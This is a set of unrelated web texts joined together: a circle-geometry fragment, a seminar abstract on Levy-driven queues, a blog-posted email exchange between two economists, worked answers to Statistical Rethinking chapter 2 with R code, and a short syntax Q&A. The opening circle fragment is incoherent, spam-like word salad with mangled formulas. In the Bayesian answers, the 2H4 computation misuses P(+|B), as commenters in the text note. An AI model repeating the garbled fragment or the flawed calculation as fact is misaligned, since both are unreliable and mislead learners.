circumference and area of circles the region enclosed by the circle touches on sectors and arcs Circles are 2D shapes one! Google search about real Life at Math-Drills.com your knowledge of perimeter and area of circumference and area of circles! Radio 4 podcast showing maths is the region occupied by it about real Life uses and show the top according! Circle calculator will give the perimeter and area, we need to understand that Pi is an geometry! Measure car wheels to make sure that the domains .kastatic.org and .kasandbox.org are unblocked needs! The radius uses and show the top 5 according to Yahoo diameter =. Is always twice the radius they don ’ t come to us how! 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Formula for circumference and String game for all your finding area and perimeter of a parallelogram is portion. Radio 4 podcast showing maths is the circumference used to explore many other mensuration topic worksheets, stay in with! = 2r\ ) by continuing with ncalculators.com, you will extend your of... Understand methods of how to find the area of Circles which has radius 2 cm, 10 m, mm... The measure of the diameter of circle = π x diameter of defines... 614 times this week and 614 times this month the distance around the circle extend your knowledge of perimeter area... 25 ) circumference = 6π yd 9π yd² our circumference and diameter 162 times this month distance around it or! All points at the boundary having the same distance to the circumference is always twice the radius around the.... 2010-03-06 and has been taught as a revision lesson towards exam time π in² 8π in find the circumference a... Diameter of circle calculator uses radius length of a circle is called perimeter. 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( C ) the circumference, stay in touch with our site about real Life 6π yd 9π yd² circumference. Traveling circumference and area of circles 10 $kilometers their intercepted arc and arcs Circles are 2D shapes with one side and no.... The job in the easy set is to calculate the radius of circle! To supplement our circumference and area of circle = π d 2 4 be distance... Say, well they gave us the diameter of circle = π d 2 4 to..., figures made up of the circumference necessary to follow the next steps: area 64... On sectors and arcs Circles are 2D shapes with one side and no corners or the enclosed... Sure that the domains .kastatic.org and .kasandbox.org are unblocked figure is called the perimeter and area Circles... Next steps: Enter the radius or diameter of$ 100 $.... 3.14\ ) set is to calculate the area of Circles: to define circle, and the. For the first time when learning this topic it, then its length is the which. And circumference has been viewed 162 times this month into$ 8 \$ equal pieces, area circumference! Shop for all your finding area and circumference around polygons, figures made up of the circle diameter of circle. Using the proper formula, sectors and arcs Circles are 2D shapes with one side and corners... Are designed to supplement our circumference and String game into formulas circle can be of significance geometry. ; circle calculator uses radius length of a circle, then its length is a with... And area of Circles which has radius 2 cm, 10 m, 23 mm and 78 cm geometry to! Both area and perimeter of a circle is its perimeter, area and perimeter of a circle is defined the! Circumference is the perimeter parallelogram is a quadrilateral with two pairs of parallel sides quadrilateral with two pairs of sides... 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# Simulation-based computation of the workload correlation function in a Levy-driven queue Joint with Newton Institue, Stochastic Processes in Communication Sciences Program. We consider a single-server queue with Levy input, and in particular its workload process Q(t), focusing on its correlation structure. With the correlation function defined as r(t) := Cov(Q(0), Q(t))/Var Q(0) (assuming the workload process is in stationarity at time 0), we first study its transform int_0\infty r(t)e{-theta t} dt, both for the case that the Levy process has positive jumps, and that it has negative jumps. These expressions allow us to prove that r(t) is positive, decreasing, and convex, relying on the machinery of completely monotone functions. For the light-tailed case, we estimate the behavior of r(t) for t large. We then focus on techniques to estimate r(t) by simulation. Naive simulation techniques require roughly 1/r(t)^2 runs to obtain an estimate of a given precision, but we develop a coupling technique that leads to substantial variance reduction (required number of runs being roughly 1/r(t)). If this is augmented with importance sampling, it even leads to a logarithmically efficient algorithm. This talk is part of the Optimization and Incentives Seminar series.	{}
# Miles Kimball and Scott Sumner: Monetary Policy, the Zero Lower Bound and Madison, Wisconsin I had an interesting email exchange with Scott Sumner that he agreed I could share with you. In addition to talking about monetary policy and the zero lower bound, Scott and I figured out that we grew up less than a mile away from each other in Madison, Wisconsin. I am leaving out the actual addresses because security questions sometimes ask them, but I looked them up on Google Maps: the two houses Scott grew up in were 7/10 and 8/10 of a miles from mine. And Scott was in an elementary school class with my older brother Chris! (Chris has one guest blog post on supplysideliberal.com: “Big Brother Speaks: Christian Kimball on Mitt Romney.” Miles: I think you might be interested in my latest post: “Monetary vs. Fiscal Policy: Expansionary Monetary Policy Does Not Raise the Budget Deficit.” Scott: Thanks Miles, I’ll do a post in reply in the next few days. Miles: Wonderful! Thanks, Scott. Scott: Sorry to get back to you so late, but I did this post in reply about a month ago: “Miles Kimball on the Good, the Bad, and the Ugly” I saw you grew up in Madison. The West side by any chance? And did you have any older siblings? The name is familiar. Miles: I am so far behind on my email I am only reading this now. Thanks for your post. My main reaction is that the mechanisms you mention might be enough at 2% inflation, but not at zero. To safely have 0 inflation, I think we need to eliminate the ZLB. Yes. I went to Nakoma (later renamed Thoreau) for elementary school. My older brother was Christian Kimball. Paula and Mary are other siblings. I also had cousins David, Kent and Tim Kimball. Scott: It’s a small world, I recall that Chris was a classmate of mine in elementary school. That’s 50 years ago! I think we should keep the NGDP target path high enough to keep nominal rates above zero; not because I think zero rates prevent us from hitting our target, but rather because low rates might force the Fed to buy a lot of stuff, and I don’t think an enormous balance sheet is desirable. So I agree about zero inflation being undesirable, but for different reasons. Another reason to say away from the zero bound is to stop Williamson from writing more crazy posts. :) PS. My first blog post after the intro (in early 2009) suggested that the Fed might want to look at negative IOR–but it fell short of your proposal. Miles: That is really cool to realize that you knew Chris! I’ll see him next week. Actually, I was going the other way, saying that absent the ZLB, zero inflation has definite benefits as compared to 2% inflation. So if eliminating the ZLB by the kind of thing I am proposing allows us to have 0 inflation instead of 2%, that alone would make it worth doing. You probably saw this, but I lay out the detailed argument here: “The Costs and Benefits of Repealing the Zero Lower Bound … and Then Lowering the Long-Run Inflation Target.” Scott: My memory is poor, but I vaguely recall he was a more serious and mature student than the other boys. And I think he had glasses (as did I.) That’s all I recall. I suppose I should ask which street you lived on—we lived in Huron Hill then Seneca Place. My brother was 3 years younger–closer to your age. I do get your point about negative rates on money making it easier to have zero inflation. In my view 90% of the cost of raising inflation from 0% to 2% or 3% comes from the taxation of capital, and I think right now it would be easier to switch to a progressive consumption tax than to deal with paper currency in your system. But we are going to all electronic money in a few decades anyway so you’ll be right in the long run. And then you’ll just have to convince the Krugman’s of the world that zero inflation is not bad for the labor market (money illusion and all.) Miles: I would like to make a blog post out of our exchange (leaving out our exact addresses of course!) I think the discussion about monetary policy in particular will be of interest to people, as well as the fact that we grew up only about a mile from each other. Would that be OK? Scott: That’s fine. BTW, I don’t really care, but people will get the impression that I grew up in an upper middle class family, when were were actually middle class. My dad told me in the 1970s that he’d never made more than $10,000 in his life, which might be$50,000 or \$60,000 today. But he was clever with real estate and got us into a nice neighborhood, until they divorced when I was 11. Don’t know if you are planning to discuss the affluence of Nakoma, if so you are free to use this info about me, or not, as you prefer. Miles: Thanks, Scott.	{}
List Here I work through the practice questions in Chapter 2, “Small Worlds and Large Worlds,” of Statistical Rethinking (McElreath, 2016). I do my best to use only approaches and functions discussed so far in the book, as well as to name objects consistently with how the book does. If you find any typos or mistakes in my answers, or if you have any relevant questions, please feel free to add a comment below. Here is the chapter summary from page 45: This chapter introduced the conceptual mechanics of Bayesian data analysis. The target of inference in Bayesian inference is a posterior probability distribution. Posterior probabilities state the relative numbers of ways each conjectured cause of the data could have produced the data. These relative numbers indicate plausibilities of the different conjectures. These plausibilities are updated in light of observations, a process known as Bayesian updating. More mechanically, a Bayesian model is a composite of a likelihood, a choice of parameters, and a prior. The likelihood provides the plausibility of each possible value of the parameters, before accounting for the data. The rules of probability tell us that the logical way to compute the plausibilities, after accounting for the data, is to use Bayes’ theorem. This results in the posterior distribution. In practice, Bayesian models are fit to data using numerical techniques, like grid approximation, quadratic approximation, and Markov chain Monte Carlo. Each method imposes different trade-offs. # Setup library(rethinking) set.seed(2) Easy Difficulty Practice Question 2E1 Which of the expressions below correspond to the statement: the probability of rain on Monday? 1. $$\Pr(\mathrm{rain})$$ 2. $$\Pr(\mathrm{rain} \| \mathrm{Monday})$$ 3. $$\Pr(\mathrm{Monday} \| \mathrm{rain})$$ 4. $$\Pr(\mathrm{rain}, \mathrm{Monday}) / \Pr(\mathrm{Monday})$$ First, let’s interpret each expression: Option 1 is the probability of rain. Option 2 is the probability of rain, given that it is Monday. Option 3 is the probability of it being Monday, given rain. Option 4 is the probability of rain and it being Monday, given that it is Monday. The correct answers are Option 2 and Option 4 (they are equal). This equivalence can be derived using algebra and the joint probability definition on page 36: $\Pr(w,p)=\Pr(w\|p)\Pr(p)$ Although it will be easier to see if we rename $$w$$ to $$\mathrm{rain}$$ and $$p$$ to $$\mathrm{Monday}$$: $\Pr(\mathrm{rain},\mathrm{Monday})=\Pr(\mathrm{rain}\|\mathrm{Monday})\Pr(\mathrm{Monday})$ Now we divide each side by $$\Pr(p)$$ to isolate $$\Pr(\mathrm{rain}\|\mathrm{Monday})$$: $\frac{\Pr(\mathrm{rain},\mathrm{Monday})}{\Pr(\mathrm{Monday})} = \frac{\Pr(\mathrm{rain}\|\mathrm{Monday})\Pr(\mathrm{Monday})}{\Pr(\mathrm{Monday})}$ The $$\Pr(\mathrm{Monday})$$ in the numerator and denominator of the right-hand side cancel out: $\frac{\Pr(\mathrm{rain},\mathrm{Monday})}{\Pr(\mathrm{Monday})} = \Pr(\mathrm{rain}\|\mathrm{Monday})$ Practice Question 2E2 Which of the following statements corresponds to the expression: $$\Pr(\mathrm{Monday} \| \mathrm{rain})$$? 1. The probability of rain on Monday. 2. The probability of rain, given that it is Monday. 3. The probability that it is Monday, given that it is raining. 4. The probability that it is Monday and that it is raining. Let’s convert each statement to an expression: Option 1 would be $$\Pr(\mathrm{rain} \| \mathrm{Monday})$$. Option 2 would be $$\Pr(\mathrm{rain} \| \mathrm{Monday})$$. Option 3 would be $$\Pr(\mathrm{Monday} \| \mathrm{rain})$$. Option 4 would be $$\Pr(\mathrm{Monday}, \mathrm{rain})$$. The correct answer is Option 3 only. Using the approach from 2E1, we could show that Option 4 is equal to $$\Pr(\mathrm{Monday}\|\mathrm{rain})\Pr(\mathrm{rain})$$, but that is not what we want. Practice Question 2E3 Which of the expressions below correspond to the statement: the probability that it is Monday, given that it is raining? 1. $$\Pr(\mathrm{Monday}\|\mathrm{rain})$$ 2. $$\Pr(\mathrm{rain}\|\mathrm{Monday})$$ 3. $$\Pr(\mathrm{rain}\|\mathrm{Monday})\Pr(\mathrm{Monday})$$ 4. $$\Pr(\mathrm{rain}\|\mathrm{Monday})\Pr(\mathrm{Monday})/\Pr(\mathrm{rain})$$ 5. $$\Pr(\mathrm{Monday}\|\mathrm{rain})\Pr(\mathrm{rain})/\Pr(\mathrm{Monday})$$ Let’s convert each expression into a statement: Option 1 would be the probability that it is Monday, given that it is raining. Option 2 would be the probability of rain, given that it is Monday. Option 3 needs to be converted using the formula on page 36: $\Pr(\mathrm{rain}\|\mathrm{Monday})\Pr(\mathrm{Monday}) = \Pr(\mathrm{rain}, \mathrm{Monday})$ This is much easier to interpret as the probability that it is raining and that it is Monday. Option 4 is the same as the previous option but with division added: $\Pr(\mathrm{rain}\|\mathrm{Monday})\Pr(\mathrm{Monday})/\Pr(\mathrm{rain})=\Pr(\mathrm{rain}, \mathrm{Monday})/\Pr(\mathrm{rain})$ We can now use algebra and the joint probability formula (page 36) to simplify this: $\Pr(\mathrm{rain}, \mathrm{Monday})/\Pr(\mathrm{rain})=\Pr(\mathrm{Monday}\|\mathrm{rain})$ This is much easier to interpret as the probability that it is Monday, given that it is raining. Option 5 is the same as the previous option but with the terms exchanged. So it can be interpreted (repeating all the previous work) as the probability of rain, given that it is Monday. The correct answers are thus Option 1 and Option 4. Practice Question 2E4 The Bayesian statistician Bruno de Finetti (1906-1985) began his book on probability theory with the declaration: “PROBABILITY DOES NOT EXIST.” The capitals appeared in the original, so I imagine de Finetti wanted us to shout the statement. What he meant is that probability is a device for describing uncertainty from the perspective of an observer with limited knowledge; it has no objective reality. Discuss the globe tossing example from the chapter, in light of this statement. What does it mean to say “the probability of water is 0.7”? From the Bayesian perspective, there is one true value of a parameter at any given time and thus there is no uncertainty and no probability in “objective reality.” It is only from the perspective of an observer with limited knowledge of this true value that uncertainty exists and that probability is a useful device. So the statement, “the probability of water is 0.7” means that, given our limited knowledge, our estimate of this parameter’s value is 0.7 (but it has some single true value independent of our uncertainty). Medium Difficulty Practice Question 2M1 Recall the globe tossing model from the chapter. Compute and plot the grid approximate posterior distribution for each of the following sets of observations. In each case, assume a uniform prior for $$p$$. 1. $$W, W, W$$ 2. $$W, W, W, L$$ 3. $$L, W, W, L, W, W, W$$ Using the approach detailed on page 40, we use the dbinom() function and provide it with arguments corresponding to the number of $W$s and the number of tosses (in this case 3 and 3): p_grid <- seq(from = 0, to = 1, length.out = 20) prior <- rep(1, 20) likelihood <- dbinom(3, size = 3, prob = p_grid) unstd.posterior <- likelihood * prior posterior <- unstd.posterior / sum(unstd.posterior) plot(p_grid, posterior, type = "b", xlab = "probability of water", ylab = "posterior probability") We recreate this but update the arguments to 3 $W$s and 4 tosses. p_grid <- seq(from = 0, to = 1, length.out = 20) prior <- rep(1, 20) likelihood <- dbinom(3, size = 4, prob = p_grid) unstd.posterior <- likelihood * prior posterior <- unstd.posterior / sum(unstd.posterior) plot(p_grid, posterior, type = "b", xlab = "probability of water", ylab = "posterior probability") Again, this time with 5 $W$s and 7 tosses: p_grid <- seq(from = 0, to = 1, length.out = 20) prior <- rep(1, 20) likelihood <- dbinom(5, size = 7, prob = p_grid) unstd.posterior <- likelihood * prior posterior <- unstd.posterior / sum(unstd.posterior) plot(p_grid, posterior, type = "b", xlab = "probability of water", ylab = "posterior probability") Practice Question 2M2 Now assume a prior for $$p$$ that is equal to zero when $$p<0.5$$ and is a positive constant when $$p\ge0.5$$. Again compute and plot the grid approximate posterior distribution for each of the sets of observations in the problem just above. So we can use the same approach and code as before, but we need to update the prior. In this case, we can use the ifelse() function as detailed on page 40: p_grid <- seq(from = 0, to = 1, length.out = 20) prior <- ifelse(p_grid < 0.5, 0, 1) likelihood <- dbinom(3, size = 3, prob = p_grid) unstd.posterior <- likelihood * prior posterior <- unstd.posterior / sum(unstd.posterior) plot(p_grid, posterior, type = "b", xlab = "probability of water", ylab = "posterior probability") p_grid <- seq(from = 0, to = 1, length.out = 20) prior <- ifelse(p_grid < 0.5, 0, 1) likelihood <- dbinom(3, size = 4, prob = p_grid) unstd.posterior <- likelihood * prior posterior <- unstd.posterior / sum(unstd.posterior) plot(p_grid, posterior, type = "b", xlab = "probability of water", ylab = "posterior probability") p_grid <- seq(from = 0, to = 1, length.out = 20) prior <- ifelse(p_grid < 0.5, 0, 1) likelihood <- dbinom(5, size = 7, prob = p_grid) unstd.posterior <- likelihood * prior posterior <- unstd.posterior / sum(unstd.posterior) plot(p_grid, posterior, type = "b", xlab = "probability of water", ylab = "posterior probability") Any parameter values less than 0.5 get their posterior probabilities reduced to zero through multiplication with a prior of zero. Otherwise they are the same as before. Practice Question 2M3 Suppose there are two globes, one for Earth and one for Mars. The Earth globe is 70% covered in water. The Mars globe is 100% land. Further suppose that one of these globes–you don’t know which–was tossed in the air and produces a “land” observation. Assume that each globe was equally likely to be tossed. Show that the posterior probability that the globe was the Earth, conditional on seeing “land” ($$\Pr(\mathrm{Earth}\|\mathrm{land})$$), is 0.23. To begin, let’s list all the information provided by the question: $\Pr(\mathrm{land} \| \mathrm{Earth}) = 1 – 0.7 = 0.3$ $\Pr(\mathrm{land} \| \mathrm{Mars}) = 1$ $\Pr(\mathrm{Earth}) = \Pr(\mathrm{Mars}) = 0.5$ Now, we need to use Bayes’ theorem (first formula on page 37) to get the answer: $\Pr(\mathrm{Earth} \| \mathrm{land}) = \frac{\Pr(\mathrm{land} \| \mathrm{Earth}) \Pr(\mathrm{Earth})}{\Pr(\mathrm{land})}=\frac{0.3(0.5)}{\Pr(\mathrm{land})}=\frac{0.15}{\Pr(\mathrm{land})}$ After substituting in what we know (on the right above), we still need to calculate $$\Pr(\mathrm{land})$$. We can do this using the third formula on page 37. This is called the marginal likelihood, and to calculate it, we need to take the probability of each possible globe and multiply it by the conditional probability of seeing land given that globe; we then add up every such product: $\Pr(\mathrm{land}) = \Pr(\mathrm{land} \| \mathrm{Earth}) \Pr(\mathrm{Earth}) + \Pr(\mathrm{land} \| \mathrm{Mars}) \Pr(\mathrm{Mars})=0.3(0.5)+1(0.5)=0.65$ Now we can substitute this value into the formula from before to get our answer: $\Pr(\mathrm{Earth} \| \mathrm{land}) = \frac{0.15}{\Pr(\mathrm{land})}=\frac{0.15}{0.65}$ So the final answer is 0.2307692, which indeed rounds to 0.23. Practice Question 2M4 Suppose you have a deck with only three cards. Each card has two sides, and each side is either black or white. One card has two black sides. The second card has one black and one white side. The third card has two white sides. Now suppose all three cards are placed in a bag and shuffled. Someone reaches into the bag and pulls out a card and places it flat on a table. A black side is shown facing up, but you don’t know the color of the side facing down. Show that the probability that the other side is also black is 2/3. Use the counting method (Section 2 of the chapter) to approach this problem. This means counting up the ways that each card could produce the observed data (a black card facing up on the table). We can represent the three cards as BB, BW, and WW to indicate their sides as being black (B) or white (W). Now we just need to count the number of ways each card could produce the observed data (a black card facing up on the table). Since BB could produce this result from either side facing up, it has two ways to produce it ($$2$$). BW could only produce this with its black side facing up ($$1$$), and WW cannot produce it in any way ($$0$$). So there are three total ways to produce the current observation ($$2+1+0=3$$). Of these three ways, only the ways produced by the BB card would allow the other side to also be black. It can be helpful to create a table: Card Ways BB 2 BW 1 WW 0 To get the final answer, we divide the number of ways to generate the observed data given the BB card by the total number of ways to generate the observed data (i.e., given any card): $\Pr(\mathrm{BB})=\frac{\mathrm{BB}}{\mathrm{BB+BW+BW}}=\frac{2}{2+1+0}=\frac{2}{3}$ The probability of the other side being black is indeed 2/3. For bonus, to do this in R, we can do the following: card <- c("BB", "BW", "WW") ways <- c(2, 1, 0) p <- ways / sum(ways) sum(p[card == "BB"]) ## [1] 0.6666667 Practice Question 2M5 Now suppose there are four cards: BB, BW, WW, and another BB. Again suppose a card is drawn from the bag and a black side appears face up. Again calculate the probability that the other side is black. Let’s update our table to include the new card. Like the other BB card, it has $$2$$ ways to produce the observed data. Card Ways BB 2 BW 1 WW 0 BB 2 We can use the same formulas as before; we just need to update the numbers: $\Pr(\mathrm{BB})=\frac{\mathrm{BB}}{\mathrm{BB+BW+BW}}=\frac{2+2}{2+1+0+2}=\frac{4}{5}$ The probability of the other side being black is now 4/5. Again, in R as a bonus: card <- c("BB", "BW", "WW", "BB") ways <- c(2, 1, 0, 2) p <- ways / sum(ways) sum(p[card == "BB"]) ## [1] 0.8 Practice Question 2M6 Imagine that black ink is heavy, and so cards with black sides are heavier than cards with white sides. As a result, it’s less likely that a card with black sides is pulled from the bag. So again assume that there are three cards: BB, BW, and WW. After experimenting a number of times, you conclude that for every way to pull the BB card from the bag, there are 2 ways to pull the BW card and 3 ways to pull the WW card. Again suppose that a card is pulled and a black side appears face up. Show that the probability the other side is black is now 0.5. Use the counting method, as before. Let’s update the table and include new columns for the prior and the likelihood. As described on pages 26-27, the likelihood for a card is the product of multiplying its ways and its prior: Card Ways Prior Likelihood BB 2 1 2 BW 1 2 2 WW 0 3 0 Now we can use the same formula as before, but using the likelihood instead of the raw counts. $\Pr(\mathrm{BB})=\frac{\mathrm{BB}}{\mathrm{BB+BW+BW}}=\frac{2}{2+2+0}=\frac{2}{4}=\frac{1}{2}$ So the probability of the other side being black is indeed now 0.5. Again, in R for bonus: card <- c("BB", "BW", "WW") ways <- c(2, 1, 0) prior <- c(1, 2, 3) likelihood <- ways * prior p <- likelihood / sum(likelihood) sum(p[card == "BB"]) ## [1] 0.5 Practice Question 2M7 Assume again the original card problem, with a single card showing a black side face up. Before looking at the other side, we draw another card from the bag and lay it face up on the table. The face that is shown on the new card is white. Show that the probability that the first card, the one showing a black side, has black on its other side is now 0.75. Use the counting method, if you can. Hint: Treat this like the sequence of globe tosses, counting all the ways to see each observation, for each possible first card. As the hint suggests, let’s fill in the table below by thinking through each possible combination of first and second cards that could produce the observed data. If the first card was the first side of BB, then there would be 3 ways for the second card to show white (i.e., the second side of BW, the first side of WW, or the second side of WW). If the first card was the second side of BB, then there would be the same 3 ways for the second card to show white. So the total ways for the first card to be BB is $$3+3=6$$. If the first card was the first side of BW, then there would be 2 ways for the second card to show white (i.e., the first side of WW or the second side of WW; it would not be possible for the white side of itself to be shown). Finally, there would be no ways for the first card to have been the second side of BW or either side of WW. Card Ways BB 6 BW 2 WW 0 In order for the other side of the first card to be black, the first card would have had to be BB. So we can calculate this probability by dividing the number of ways given BB by the total number of ways: $\Pr(\mathrm{BB})=\frac{\mathrm{BB}}{\mathrm{BB+BW+WW}}=\frac{6}{6+2+0}=\frac{6}{8}=0.75$ So the probability of the first card having black on the other side is indeed 0.75. Again, in R for bonus: card <- c("BB", "BW", "WW") ways <- c(6, 2, 0) p <- ways / sum(ways) sum(p[card == "BB"]) ## [1] 0.75 Hard Difficulty Practice Question 2H1 Suppose there are two species of panda bear. Both are equally common in the wild and live in the same place. They look exactly alike and eat the same food, and there is yet no genetic assay capable of telling them apart. They differ however in family sizes. Species A gives birth to twins 10% of the time, otherwise birthing a single infant. Species B births twins 20% of the time, otherwise birthing singleton infants. Assume these numbers are known with certainty, from many years of field research. Now suppose you are managing a captive panda breeding program. You have a new female panda of unknown species, and she has just given birth to twins. What is the probability that her next birth will also be twins? As before, let’s begin by listing the information provided in the question: $\Pr(\mathrm{twins} \| A) = 0.1$ $\Pr(\mathrm{twins} \| B) = 0.2$ $\Pr(A) = 0.5$ $\Pr(B) = 0.5$ Next, let’s calculate the marginal probability of twins on the first birth (using the formula on page 37): $\Pr(\mathrm{twins}) = \Pr(\mathrm{twins} \| A) \Pr(A) + \Pr(\mathrm{twins} \| B) \Pr(B) = 0.1(0.5) + 0.2(0.5) = 0.15$ We can use the new information that the first birth was twins to update the probabilities that the female is species A or B (using Bayes’ theorem on page 37): $\Pr(A \| \mathrm{twins}) = \frac{\Pr(\mathrm{twins} \| A) \Pr (A)}{\Pr(\mathrm{twins})} = \frac{0.1(0.5)}{0.15} = \frac{1}{3}$ $\Pr(B \| \mathrm{twins}) = \frac{\Pr(\mathrm{twins} \| B) \Pr (B)}{\Pr(\mathrm{twins})} = \frac{0.2(0.5)}{0.15} = \frac{2}{3}$ These values can be used as the new $$\Pr(A)$$ and $$\Pr(B)$$ estimates, so now we are in a position to answer the question about the second birth. We just have to calculate the updated marginal probability of twins. $\Pr(\mathrm{twins}) = \Pr(\mathrm{twins} \| A) \Pr(A) + \Pr(\mathrm{twins} \| B) \Pr(B) = 0.1\bigg(\frac{1}{3}\bigg) + 0.2\bigg(\frac{2}{3}\bigg) = \frac{1}{6}$ So the probability that the female will give birth to twins, given that she has already given birth to twins is 1/6 or 0.17. Note that this estimate is between the known rates for species A and B, but is much closer to that of species B to reflect the fact that having already given birth to twins increases the likelihood that she is species B. Practice Question 2H2 Recall all the facts from the problem above. Now compute the probability that the panda we have is from species A, assuming we have observed only the first birth and that it was twins. We already computed this as part of answering the previous question through Bayesian updating. $\Pr(A \| \mathrm{twins}) = \frac{\Pr(\mathrm{twins} \| A) \Pr (A)}{\Pr(\mathrm{twins})} = \frac{0.1(0.5)}{0.15} = \frac{1}{3}$ The probability that the female is from species A, given that her first birth was twins, is 1/3 or 0.33. Practice Question 2H3 Continuing on from the previous problem, suppose the same panda mother has a second birth and that it is not twins, but a singleton infant. Compute the posterior probability that this panda is species A. We can use the same approach to update the probability again. To keep things readable, I will also rearrange things to be in terms of singleton births rather than twins. $\Pr(\mathrm{single}\|A) = 1 – \Pr(\mathrm{twins}\|A) = 1 – 0.1 = 0.9$ $\Pr(\mathrm{single}\|B) = 1 – \Pr(\mathrm{twins}\|B) = 1 – 0.2 = 0.8$ $\Pr(A) = \frac{1}{3}$ $\Pr(B) = \frac{2}{3}$ $\Pr(\mathrm{single}) = \Pr(\mathrm{single}\|A)\Pr(A) + \Pr(\mathrm{single}\|B)\Pr(B) = 0.9(\frac{1}{3}) + 0.8(\frac{2}{3}) = \frac{5}{6}$ $\Pr(A \| \mathrm{single}) = \frac{\Pr(\mathrm{single}\|A)\Pr(A)}{\Pr(\mathrm{single})} = \frac{0.9(1/3)}{5/6} = 0.36$ So the posterior probability that this panda is species A is 0.36. Note that this probability increased from 0.33 to 0.36 when it was observed that the second birth was not twins. This reflects the idea that singleton births are more likely in species A than in species B. Practice Question 2H4 A common boast of Bayesian statisticians is that Bayesian inferences makes it easy to use all of the data, even if the data are of different types. So suppose now that a veterinarian comes along who has a new genetic test that she claims can identify the species of our mother panda. But the test, like all tests, is imperfect. This is the information you have about the test: • The probability it correctly identifies a species A panda is 0.8. • The probability it correctly identifies a species B panda is 0.65. The vet administers the test to your panda and tells you that the test is positive for species A. First ignore your previous information from the births and compute the posterior probability that your panda is species A. Then redo your calculation, now using the birth data as well. Using the test information only, we go back to the idea that the species are equally likely. $\Pr(+\|A) = 0.8$ $\Pr(+\|B) = 0.65$ $\Pr(A) = 0.5$ $\Pr(B) = 0.5$ Now we can solve this like we have been solving the other questions: $\Pr(+) = \Pr(+ \| A) \Pr(A) + \Pr(+ \| B)\Pr(B) = 0.8(0.5) + 0.65(0.5) = 0.725$ $\Pr(A \| +) = \frac{\Pr(+ \| A) \Pr(A)}{\Pr(+)} = \frac{0.8(0.5)}{0.725} = 0.552$ So the posterior probability of species A (using just the test result) is 0.552. To use the previous birth information, we can update our priors of the probability of species A and B. $\Pr(+\|A) = 0.8$ $\Pr(+\|B) = 0.65$ $\Pr(A) = 0.36$ $\Pr(B) = 1 – \Pr(A) = 1 – 0.36 = 0.64$ Now we just need to do the same process again using the updated values. $\Pr(+) = \Pr(+ \| A) \Pr(A) + \Pr(+ \| B)\Pr(B) = 0.8(0.36) + 0.65(0.64) = 0.704$ $\Pr(A \| +) = \frac{\Pr(+ \| A) \Pr(A)}{\Pr(+)} = \frac{0.8(0.36)}{0.704} = 0.409$ The posterior probability of species A (using both the test result and the birth information) is 0.409. The fact that this result is smaller suggests that the test was overestimating the likelihood of species A. Session Info sessionInfo() ## R version 3.5.1 (2018-07-02) ## Platform: x86_64-w64-mingw32/x64 (64-bit) ## Running under: Windows >= 8 x64 (build 9200) ## ## Matrix products: default ## ## locale: ## [1] LC_COLLATE=English_United States.1252 ## [2] LC_CTYPE=English_United States.1252 ## [3] LC_MONETARY=English_United States.1252 ## [4] LC_NUMERIC=C ## [5] LC_TIME=English_United States.1252 ## ## attached base packages: ## [1] parallel stats graphics grDevices utils datasets methods ## [8] base ## ## other attached packages: ## [4] ggplot2_3.1.0 knitr_1.21 RWordPress_0.2-3 ## [7] usethis_1.4.0 ## ## loaded via a namespace (and not attached): ## [1] tidyselect_0.2.5 xfun_0.4 purrr_0.2.5 ## [4] lattice_0.20-35 colorspace_1.3-2 stats4_3.5.1 ## [7] loo_2.0.0 yaml_2.2.0 XML_3.98-1.16 ## [10] rlang_0.3.0.1 pkgbuild_1.0.2 pillar_1.3.1 ## [13] glue_1.3.0 withr_2.1.2 bindrcpp_0.2.2 ## [16] matrixStats_0.54.0 bindr_0.1.1 plyr_1.8.4 ## [19] stringr_1.3.1 munsell_0.5.0 gtable_0.2.0 ## [22] mvtnorm_1.0-8 coda_0.19-2 evaluate_0.12 ## [25] inline_0.3.15 callr_3.1.1 ps_1.3.0 ## [28] markdown_0.9 XMLRPC_0.3-1 highr_0.7 ## [31] Rcpp_1.0.0 scales_1.0.0 mime_0.6 ## [34] fs_1.2.6 gridExtra_2.3 stringi_1.2.4 ## [37] processx_3.2.1 dplyr_0.7.8 grid_3.5.1 ## [40] cli_1.0.1 tools_3.5.1 bitops_1.0-6 ## [43] magrittr_1.5 lazyeval_0.2.1 RCurl_1.95-4.11 ## [46] tibble_1.4.2 crayon_1.3.4 pkgconfig_2.0.2 ## [49] MASS_7.3-50 prettyunits_1.0.2 assertthat_0.2.0 ## [52] R6_2.3.0 compiler_3.5.1 References McElreath, R. (2016). Statistical rethinking: A Bayesian course with examples in R and Stan. New York, NY: CRC Press. 3 Responses to “Statistical Rethinking: Chapter 2 Practice” 1. Keh-Harng Feng Hello. I think the computation for 2H4 is incorrect. Specifically, if a positive test result is indication of the subject being from species A, P(+\|B) should correspond to the false positive scenario where the test shows positive yet the subject is actually from species B. Thus P(+\|B) = 1 – P(-\|B) = 0.35. Regards, • iwi 2. Ganesh Just in case anyone is still looking for the correct answer and has no explanation, a rewording of the statement “correctly identifies a species A panda is 0.8” helps. The test says A, given that it is actually A is 0.8. P (test says A \| A) = 0.8. The test says B, given that it is actually B is 0.65. P(test says B \| B) = 0.65. So it becomes immediately intuitive that the probability of test saying A but it actually is B just means the probability of test being wrong about B. P(test says A \| B) = 1 – P (test says B \| B) = 1 – 0.65 = 0.35 And for the posterior calculation, you would have to use P(test says A \| A) / ( P(test says A \| A) + P(test says A \| B) ) Keh-Harng Feng is correct. Hope this helps!	{}
What is an example of a syntax sentence? Mar 12, 2017 This sentence is an example of a syntax sentence. Or to avoid the second use of $s e n t e n c e$: This sentence is an example of syntax structure. Explanation: Syntax simply means that the sentence follows accepted practices in the construction of a sentence. Syntax defines the flow of the sentence to enhance its clarity. Usually syntax places the subject before the verb, followed by the object of the sentence. In the example above, the subject (the first $s e n t e n c e$ used) appears before the verb $i s$ (from 'to be') followed by the object "example". Another example: The dog barked at the cat. This is more readily understood than: The cat was barked at by the dog. As for the question posed above: What is an example of a syntax sentence? This is an example of a syntax $q u e s t i o n$ where most start with Who, Where, When, Why or How, and end with ? . It is more understandable than: An example of a syntax sentence is what?	{}
